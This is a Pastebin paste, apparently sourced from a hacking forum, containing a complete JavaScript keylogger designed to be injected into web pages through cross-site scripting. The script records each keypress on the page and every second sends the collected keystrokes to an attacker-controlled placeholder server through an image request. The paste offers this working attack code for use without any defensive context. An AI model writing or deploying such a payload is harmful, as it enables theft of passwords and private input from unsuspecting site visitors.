moemyintshein

xss_keylogger.js

Mar 13th, 2017
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. keylogger.js
  3. http://www.hackforums.net/showthread.php?tid=2540448
  4. tux1
  5.  
  6. Thanks to
  7. http://wiremask.eu
  8. */
  9.  
  10. var keys='';
  11. document.onkeypress = function(e) {
  12.     get = window.event?event:e;
  13.     key = get.keyCode?get.keyCode:get.charCode;
  14.     key = String.fromCharCode(key);
  15.     keys+=key;
  16. }
  17. window.setInterval(function(){
  18.     new Image().src = 'http://yourwebsite.com/logger.php?c='+keys;
  19.     keys = '';
  20. }, 1000);
Add Comment
Please, Sign In to add comment